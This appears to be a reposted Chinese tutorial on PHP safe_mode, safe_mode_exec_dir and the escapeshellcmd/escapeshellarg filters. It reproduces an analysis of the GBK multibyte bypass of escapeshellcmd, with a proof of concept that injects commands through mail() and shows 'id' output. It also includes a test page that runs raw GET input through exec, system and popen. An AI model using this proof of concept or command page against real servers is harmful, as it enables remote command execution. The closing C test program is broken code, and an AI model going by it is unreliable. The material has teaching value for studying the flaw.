简单说,PHP安全模式就是以安全模式运行php。

php的安全模式提供一个基本安全的共享环境,在一个有多个用户帐户存在的php开放的web服务器上。当一个web服务器上运行的php打开了安全模式,那么一些函数将被完全的禁止,并且会限制一些可用的功能。

当安全模式打开的时候,一些尝试访问文件系统的函数功能将被限制。

当安全模式打开的时候,以下函数列表的功能将会受到限制:

chdir, move_uploaded_file, chgrp, parse_ini_file, chown, rmdir, copy, rename, fopen, require, highlight_file, show_source, include, symlink, link, touch, mkdir, unlink

同样的,一些php扩展中的函数也将会受到影响。(加载模块:在安全模式下dl函数将被禁止,如果要加载扩展的话,只能修改php.ini中的扩展选项,在php启动的时候加载)。

在php安全模式打开的时候,需要执行系统程序的时候,必须是在safe_mode_exec_dir选项指定目录的程序,否则执行将失败。即使允许执行,那么也会自动的传递给escapeshellcmd函数进行过滤。

以下执行命令的函数列表将会受到影响:

exec,shell_exec,passthru,system,popen

另外,背部标记操作符(`)也将被关闭。

当运行在安全模式下,虽然不会引起错误,但是putenv函数将无效。同样的,其他一些尝试改变php环境变量的函数set_time_limit, set_include_path也将被忽略。

怎么开启php的安全模式呢?

在php.ini文件里面设置safe_mode = On就可以了,如图:

safe_mode = On(开启安全模式)

safe_mode = Off(关闭安全模式)

接下来,我们来举例说明

打开php.ini文件,保证safe_mode = On & safe_mode_exec_dir = :

safe_mode = On(开启安全模式)

safe_mode = Off(关闭安全模式)

接下来,我们来举例说明

打开php.ini文件,保证safe_mode = On & safe_mode_exec_dir = :

接下来,我们执行如下代码:

exec_cmd.php 源代码:

<?php

//eg:dir /x ipconfig /all netstat -ano

$a = $_GET['a'];

//非安全执行命令

echo exec($a);

echo shell_exec($a);

echo passthru($a);

system($a);

popen($a.' >> 2.txt','r');

echo '<br />';

//安全执行命令

echo exec(escapeshellcmd($a));

echo shell_exec(escapeshellcmd($a));

echo passthru(escapeshellcmd($a));

system(escapeshellcmd($a));

popen(escapeshellcmd($a.' >> 2.txt'),'r');

echo '<br />';

//更安全执行命令

echo exec(escapeshellarg($a));

echo shell_exec(escapeshellarg($a));

echo passthru(escapeshellarg($a));

system(escapeshellarg($a));

popen(escapeshellarg($a.' >> 2.txt'),'r');

echo '<br />';

?>

在Firefox中输入:http://localhost:81/exec_cmd.php?a=dir%20/x

Webserver返回如下信息:

可以看到:

echo shell_exec($a);

echo shell_exec(escapeshellcmd($a));

echo shell_exec(escapeshellarg($a));

这三行代码执行的时候,报错了,那么,我们注释掉这三行代码,再来执行呢?

浏览器无信息回显(说明其他命令也没有被执行,至少没有被成功的执行)。

其实,他的意思已经很明确了:

Warning: shell_exec() [function.shell-exec]: Cannot execute using backquotes in Safe Mode in D:\WWW\exec_cmd.php on line 9

Warning: shell_exec() [function.shell-exec]: Cannot execute using backquotes in Safe Mode in D:\WWW\exec_cmd.php on line 19

Warning: shell_exec() [function.shell-exec]: Cannot execute using backquotes in Safe Mode in D:\WWW\exec_cmd.php on line 29

就是因为我们开启了php的safe_mode,才导致shell_exec函数执行报错。

如果我们关闭php的safe_mode,那么,exec_cmd.php代码肯定是可以正常执行,如图:

在Firefox中输入:http://localhost:81/exec_cmd.php?a=dir%20/x

Webserver返回如下信息:

可以看到:dir /x命令已经在代码中执行了。

在安全模式开启时,如果我们研究一下:safe_mode_exec_dir呢,可不可能绕过safe_mode再执行系统命令呢?

本节开头已经说了:

在php安全模式打开的时候,需要执行系统程序的时候,必须是在safe_mode_exec_dir选项指定目录的程序,否则执行将失败。即使允许执行,那么也会自动的传递给escapeshellcmd函数进行过滤。

接下来,我们将safe_mode_exec_dir设置为:c:\windows\system32\,并且safe_mode  = On

如图:

重新启动Apache,使该设置生效。

Firefox中再次输入:http://localhost:81/exec_cmd.php?a=dir%20/x

Webserver 返回信息如下:

可以看到:dir /x命令依然可以被系统执行。

这是因为dir命令所在的目录:c:\windows\system32\,是我们在开启safe_mode之后,通过safe_mode_exec_dir设置的一个可执行的目录(即该目录下的php代码中的命令函数可以调用系统cmd执行命令,而不用管safe_mode是否设置)。

这样,我们就算绕过了safe_mode的限制,达到了重新执行系统命令的目的。

接下来,讲解一下命令执行的安全性问题

正如大家看到的,exec_cmd.php 源代码里面,使用了两个函数分别对调用cmd来执行命令的一些函数,如:exec、shell_exec实行调用cmd执行系统命令前的参数过滤,这两个函数分别是:

escapeshellcmd函数

escapeshellarg函数

我们可以通过如下代码来说明一下,这两个函数的区别:

escape_2.php 源代码:

<?php

$a = $_GET['a'];

echo '渗透测试输入的原始命令:'.$a;

echo '<br />';

echo 'escapeshellcmd函数作用后:'.escapeshellcmd($a.' >> 2.txt');

echo '<br />';

echo 'escapeshellarg函数作用后:'.escapeshellarg($a.' >> 2.txt');

echo '<br />';

?>

Firefox中输入:http://localhost:81/escape_2.php?a=dir%20/x

Webserver 返回如下信息:

渗透测试输入的原始命令:dir /x
escapeshellcmd函数作用后:dir /x ^>^> 2.txt
escapeshellarg函数作用后:"dir /x >> 2.txt"

咋一看,第一个函数用^扰乱了>,第二个函数使用”将传入函数的参数(即命令)进行前后闭合。

没看出什么所以然,继续使用不同的测试用例

Firefox输入:http://localhost:81/escape_2.php?a=%3C%3E?/-%27;%22\|~%60.!

Webserver返回如下信息:

渗透测试输入的原始命令:<>?/-';"\|~`.!
escapeshellcmd函数作用后:^<^>^?/-^'^;^"^\^|^~^`.! ^>^> 2.txt
escapeshellarg函数作用后:"<>?/-'; \|~`.! >> 2.txt"

这里基本上看出点端倪了,原来,eacapeshellcmd函数就是使用^把特殊字符扰乱,而escapeshellarg函数是将特殊字符里面的”过滤掉,强制使用自己的”把字符串前后闭合起来。

这样的设计,似乎就比较的安全了,基本没有什么cmd注入(或者bash注入)了,但是,你会发现,在宽字节的系统中,依然存在这样的命令注入!

德国的安全专家Stefan Esser大牛的一篇文章《php escapeshellcmd多字节编码漏洞解析及延伸》

PHP 5 <= 5.2.5

PHP 4 <= 4.4.8

一些允许如GBK,EUC-KR, SJIS等宽字节字符集的系统都可能受此影响,影响还是非常大的,国内的虚拟主机应该是通杀的,在测试完这个漏洞之后,发现还是十分有意思的,以前也有过对这种类型安全漏洞的研究,于是就把相关的漏洞解释和一些自己的想法都写出来,也希望国内的一些有漏洞的平台能迅速做出响应,修补漏洞。

这个漏洞出在php的用来转义命令行字符串的函数上,这些函数底层是用的php_escape_shell_cmd这个函数的,我们先来看看他的处理过程:

/* {{{ php_escape_shell_cmd

Escape all chars that could possibly be used to

break out of a shell command

This function emalloc's a string and returns the pointer.

Remember to efree it when done with it.

*NOT* safe for binary strings

*/

char *php_escape_shell_cmd(char *str) {

register int x, y, l;

char *cmd;

char *p = NULL;

l = strlen(str);

cmd = safe_emalloc(2, l, 1);

for (x = 0, y = 0; x < l; x++) {

switch (str[x]) {

case '"':

case '\'':

#ifndef PHP_WIN32

if (!p && (p = memchr(str + x + 1, str[x], l - x - 1))) {

/* noop */

} else if (p && *p == str[x]) {

p = NULL;

} else {

cmd[y++] = '\\';

}

cmd[y++] = str[x];

break;

#endif

case '#': /* This is character-set independent */

case '&':

case ';':

case '`':

case '|':

case '*':

case '?':

case '~':

case '<':

case '>':

case '^':

case '(':

case ')':

case '[':

case ']':

case '{':

case '}':

case '$':

case '\\':

case '\x0A': /* excluding these two */

case '\xFF':

#ifdef PHP_WIN32

/* since Windows does not allow us to escape these chars, just remove them */

case '%':

cmd[y++] = ' ';

break;

#endif

cmd[y++] = '\\';

/* fall-through */

default:

cmd[y++] = str[x];

}

}

cmd[y] = '\0';

return cmd;

}

/* }}} */

可以看到,php通过将",',#,&,;.....等等在shell命令行里有特殊意义的字符都通过在前面加上\变成\".\',\#,\&,\;......来进行转义,使得用户的输入被过滤,来避免产生command injection漏洞。在php看来,只要过滤了这些字符,送入到system等函数中时,参数就会是安全的,php手册中给出的利用例子如下:

<?php

$e = escapeshellcmd($userinput);

// here we don't care if $e has spaces

system("echo $e");

$f = escapeshellcmd($filename);

// and here we do, so we use quotes

system("touch \"/tmp/$f\"; ls -l \"/tmp/$f"");

?>

很明显,如果没有经过escapeshellcmd的处理,用户输入hello;id的话,最后system执行的会是:echo hello;id;在shell里是分割命令的作用,这样不仅仅会echo hello,还会执行id这个命令,导致命令注入漏洞。用escapeshellcmd处理之后命令变成:echo hello\;id

这样执行的命令就只会是echo,其他的都变成echo的参数,很安全。

事实上是这样么?php在处理完参数送入system之后它就什么都不管了,后面的工作实际上都是由linux来完成的,那么linux在处理这些参数的时候是怎么样的呢?linux在执行命令的时候会有一些的表示工作环境的环境变量,譬如PWD代表当前的工作环境,UID代表了你的身份,BASH代表命令解释器等等......而在linux系统执行命令的时候,还有一个非常重要的参数,LANG,这个参数决定了linux shell如何处理你的输入,这样就可以当你输入一些中文字符的时候,linux能认识他,不至于出现人与系统之间出现理解上的错误。默认情况下,linux的LANG是en_US.UTF-8,UTF-8是一个很安全的字符集,其系列中包含有对自身的校验,所以不会出现错误,会工作良好。一些系统支持多字节字符集如GBK的时候,这也正是国内的多数情况,你可以设置LANG=zh_CN.GBK,这样你的输入都会被当作GBK编码处理,而GBK是双字节的,合法的GBK编码会被认为是一个字符。

大家可以看到,在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在linux设置了GBK字符集的时候,它的处理是双字节的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符\的编码为5c,在GBK的尾字节范围之内,这样我们考虑一个特殊的输入:0xbf;id或0xbf'id

经过php的escapeshellcmd单字节转码之后将会是

0xbf5c;id

0xbf5c'id

注意0xbf5c是一个合法的GBK编码,那么在linux执行的时候,会认为输入是

[0xbfbc];id

很好,后面的id将会被执行。可以做个简单的实验,如下:

[loveshell@Loveshell tmp]$ echo 縗

>

?

[loveshell@Loveshell tmp]$ set|grep -i lang

LANG=zh_CN.GB2312

LANGVAR=en_US.UTF-8

[loveshell@Loveshell tmp]$ export LANG=zh_CN.GBK

[loveshell@Loveshell tmp]$ echo 縗

[loveshell@Loveshell tmp]$ set|grep -i lang

LANG=zh_CN.GBK

LANGVAR=en_US.UTF-8

[loveshell@Loveshell tmp]$

其中縗的编码为0xbf5c,可以看到在不设置LANG为GBK的时候縗是一个非法的gb2312编码,所以会被认为是两个字符,所以其中含有的0x5c起作用,被认为命令没结束。然后我们设置编码为GBK,縗就会被认为是一个字符来echo了。

那我们如何来证明php的漏洞呢,拿

<?php

$e = escapeshellcmd($_GET[c]);

// here we don't care if $e has spaces

system("echo $e");

?>

作为例子,正常情况下上面的代码工作很好,我们提交

exp.php?c=loveshell%bf;id

结果返回

loveshell?id

我们再来稍微改下上面的代码

<?php

putenv("LANG=zh_CN.GBK");

$e = escapeshellcmd($_GET[c]);

// here we don't care if $e has spaces

system("echo $e");

?>

php的putenv函数用于修改php的运行时的环境变量,上面修改完LANG之后,再提交上面的参数就可以看到:

loveshell縗 uid=99(nobody) gid=4294967295 groups=4294967295

命令被成功执行了,这里需要自己设置环境变量,当然也可能某些机器已经设置了LANG为GBK,于是一些采用escapeshellcmd过滤输入的就会出问题了。这里本质是linux和php对参数的理解不一致,而php的mail函数在底层还是依靠系统来执行sendmail命令的,并且支持对sendmail命令加参数,不过参数被过滤了,但是利用这里说到的问题,我们就可以在多字节编码机器上bypass过滤。

mail函数一些代码片段如下:

......

if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {

php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect.  The fifth parameter is disabled in SAFE MODE.");

RETURN_FALSE;

}

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss",

&to, &to_len,

&subject, &subject_len,

&message, &message_len,

&headers, &headers_len,

&extra_cmd, &extra_cmd_len

) == FAILURE) {

return;

}

......

if (force_extra_parameters) {

extra_cmd = estrdup(force_extra_parameters);

} else if (extra_cmd) {

extra_cmd = php_escape_shell_cmd(extra_cmd);

}

if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {

RETVAL_TRUE;

} else {

RETVAL_FALSE;

}

.....

这里如果不是安全模式就会允许第五个参数,第五个参数作为extra_cmd经过php_escape_shell_cmd过滤后作为第五个参数送入php_mail函数,在php_mail中片段如下:

......

if (extra_cmd != NULL) {

sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);

strcpy (sendmail_cmd, sendmail_path);

strcat (sendmail_cmd, " ");

strcat (sendmail_cmd, extra_cmd);

} else {

sendmail_cmd = sendmail_path;

}

#ifdef PHP_WIN32

sendmail = popen(sendmail_cmd, "wb");

#else

/* Since popen() doesn't indicate if the internal fork() doesn't work

* (e.g. the shell can't be executed) we explicitely set it to 0 to be

* sure we don't catch any older errno value. */

errno = 0;

sendmail = popen(sendmail_cmd, "w");

......

extra_cmd被附着在sendmail路径后面作为参数了,这里我们就可以利用这个漏洞来在一些禁止掉system等危险函数的环境下执行命令了,我写的poc如下:

<?php

//php disable function bypass vul

//by Stefan Esser

//poc by Loveshell

putenv("LANG=zh_CN.GBK");

mail("loveshell@loveshell.net","","","","xxxx".chr(0xbf).";".$_GET[c]);

?>

可以在支持GBK的机器上运行,其他字符集应该也一样,稍微修改下也就可以用。至于修补,我想还是尽快升级到新版,或者将mail函数拉入你的黑名单之列。

这个漏洞的本质是在于处理数据的时候理解不一致造成的,稍微把以前的一些问题结合起来很容易发现这方面的影子。php与Mysql处理不一致导致注射,程序处理和浏览器处理html不一致导致xss,处理xml不一致导致xml注射....这里又看到在linux shell处理上还有不一致的时候导致命令注射。可以预料,在perl等其他脚本语言里,涉及字符集处理的地方一样会产生这样的问题。字符集代表了系统是如何对待输入的数据,字符集不一样,系统得到的信息就不一样,在一些字符集中,只要\,',|这些特殊字符落在宽字节第二个字节范围之中的时候就会导致问题,譬如

SJIS

[\x20-\x7e]|[\xa1-\xdf]|([\x81-\x9f]|[\xe0-\xef])([\x40-\x7e]|[\x80-\xfc])

\x40-\x7e就包括了\x5c,导致问题出现。我们在设计程序在处理与其他层面的程序或者协议打交道的时候就要考虑好这个因素,做好处理的一致,避免出现问题。再次向Stefan Esser致,Stefan Esser is my hero! :)

大家可以用VC++编译器验证一下文章中提到的POC,在此,我就不演示了

编译器如图:

主函数代码如下:

int main ()

{

char input = '\0';

char input1 = '\0';

printf ("请输入一个特殊字符:");

scanf ("%c", &input);

input1 = php_escape_shell_cmd (&input);

printf ("%c\n", input1);

return 0;

}

总结:

一句话,安全无绝对,NO SYSTEM IS SAFE!

safe_mode配置安全使用

safe_mode_exec_dir配置安全使用

exec,shell_exec,passthru,system,popen命令函数安全使用

escapeshellcmd/ escapeshellarg过滤函数安全使用

safe_mode(php安全模式)的更多相关文章

  1. (实例篇)PHP实现HTTP断点续传的方法

    PHP实现HTTP断点续传的方法. <?php /** * PHP-HTTP断点续传实现 * @param string $path: 文件所在路径 * @param string $file: ...

  2. php.ini 配置详解【转载】

    [PHP]engine = On   #是否启用PHP解析引擎zend.ze1_compatibility_mode = Off #是否在Last-Modified应答头中放置该PHP脚本的最后修改时 ...

  3. php set_time_limit()用法测试详解

    在php中set_time_limit函数是用来限制页面执行时间的,如我想把一个php页面的执行时间定义为5秒就可以set_time_limit(5)了.   一个php脚本通过crontab每5分钟 ...

  4. PHP内存溢出解决方案

    一.内存溢出解决方案 在做数据统计分析时,经常会遇到大数组,可能会发生内存溢出,这里分享一下我的解决方案.还是用例子来说明这个问题,如下: 假定日志中存放的记录数为500000条,那么解决方案如下: ...

  5. php中set_time_limit()函数运用

    当你的页面有大量数据时,建议使用set_time_limit()来控制运行时间,默认是30s,所以需要你将执行时间加长点. 如 set_time_limit(800)  ,其中将秒数设为0 ,表示持续 ...

  6. set_time_limit() 控制页面运行时间

    当你的页面有大量数据时,建议使用set_time_limit()来控制运行时间,默认是30s,所以需要你将执行时间加长点,如 set_time_limit(300)  ,其中将秒数设为0 ,表示持续运 ...

  7. PHP的核心配置详解

    1.PHP核心配置详解 代码在不同的环境下执行的结果也会大有不同,可能就因为一个配置问题,导致一个非常高危的漏洞能够利用:也可能你已经找到的一个漏洞就因为你的配置问题,导致你鼓捣很久都无法构造成功的漏 ...

  8. php set_time_limit()的作用是什么

    php set_time_limit()用法测试 一.总结 一句话总结:在php中set_time_limit函数是用来限制页面执行时间的,如我想把一个php页面的执行时间定义为5秒就可以set_ti ...

  9. PHP内存溢出Allowed memory size of 解决办法

    PHP内存溢出Allowed memory size of 解决办法 博客分类: php   ============================Allowed memory size of  x ...

  10. php代码审计1(php.ini配置)

    1.php.ini基本配置-语法 大小写敏感directive = value(指令=值)foo=bar 不等于 FOO=bar 运算符| & - ! 空值的表达方法foo =     ;fo ...

随机推荐

  1. bzoj 2746: [HEOI2012]旅行问题 AC自动机fail树

    2746: [HEOI2012]旅行问题 Time Limit: 30 Sec  Memory Limit: 256 MBSubmit: 489  Solved: 174[Submit][Status ...

  2. hdu 1875

    题目很简单,我却WA了几十次,找错误找了我一个小时: 蛋都碎了! 后来发现错误的地方竟然是memset: 用一个循环来替代它就A了:╮(╯▽╰)╭ 今晚回去好好的看看memset!!! 发个代码纪念下 ...

  3. Service知识点总结

    转载请注明出处:http://blog.csdn.net/krislight/article Service可以看作一个后台服务,但并非是开启另外的线程,Service还是在主线程中运行.所以需避免耗 ...

  4. nyist 740 “炫舞家“ST(动态规划)

    dp[i][j][k]:表示第i次踩踏后两脚的位置j,k 先固定一只脚的位置j,第i次踩踏后,状态为dp[i][j][a[i]]或者dp[i][a[i]][j],其中a[i]表示第i个输入的元素,则有 ...

  5. bzoj1093

    首先缩点然后半连通其实就是缩点后节点数最多的链注意这里一定是一条链才一定是半连通然后重建图拓扑排序上做dp即可 type node=record po,next:longint; end; ..] o ...

  6. mybatis源码分析(3)——SqlSessionManager类

    从上图可能看出,在 mybatis中,SqlSession的实现类有两个,其中SqlSessionManager类不但实现了SqlSession接口,同时也实现了SqlSessionFactory接口 ...

  7. 改善C#程序的50种方法

    为什么程序已经可以正常工作了,我们还要改变它们呢?答案就是我们可以让它们变得更好.我们常常会改变所使用的工具或者语言,因为新的工具或者语言更富生产力.如果固守旧有的习惯,我们将得不到期望的结果.对于C ...

  8. POJ_2229_Sumsets_(动态规划)

    描述 http://poj.org/problem?id=2229 将一个数n分解为2的幂之和共有几种分法? Sumsets Time Limit: 2000MS   Memory Limit: 20 ...

  9. 解决ASP.NET MVC AllowAnonymous属性无效导致无法匿名访问控制器的问题

    在ASP.NET MVC项目中,一般都要使用身份验证和权限控制,但总有部分网页是可以匿名访问的.使用AllowAnonymous属性就可以指定需要匿名访问的控制器,从而跳过身份验证. 但是今天却遇到一 ...

  10. cocos2d-x 使用UIWebView加载网页(顺便可以看到如何用OC调C++)

    猴子原创,欢迎转载.转载请注明: 转载自Cocos2D开发网–Cocos2Dev.com,谢谢! 原文地址: http://www.cocos2dev.com/?p=248 前段时间项目中要微博授权登 ...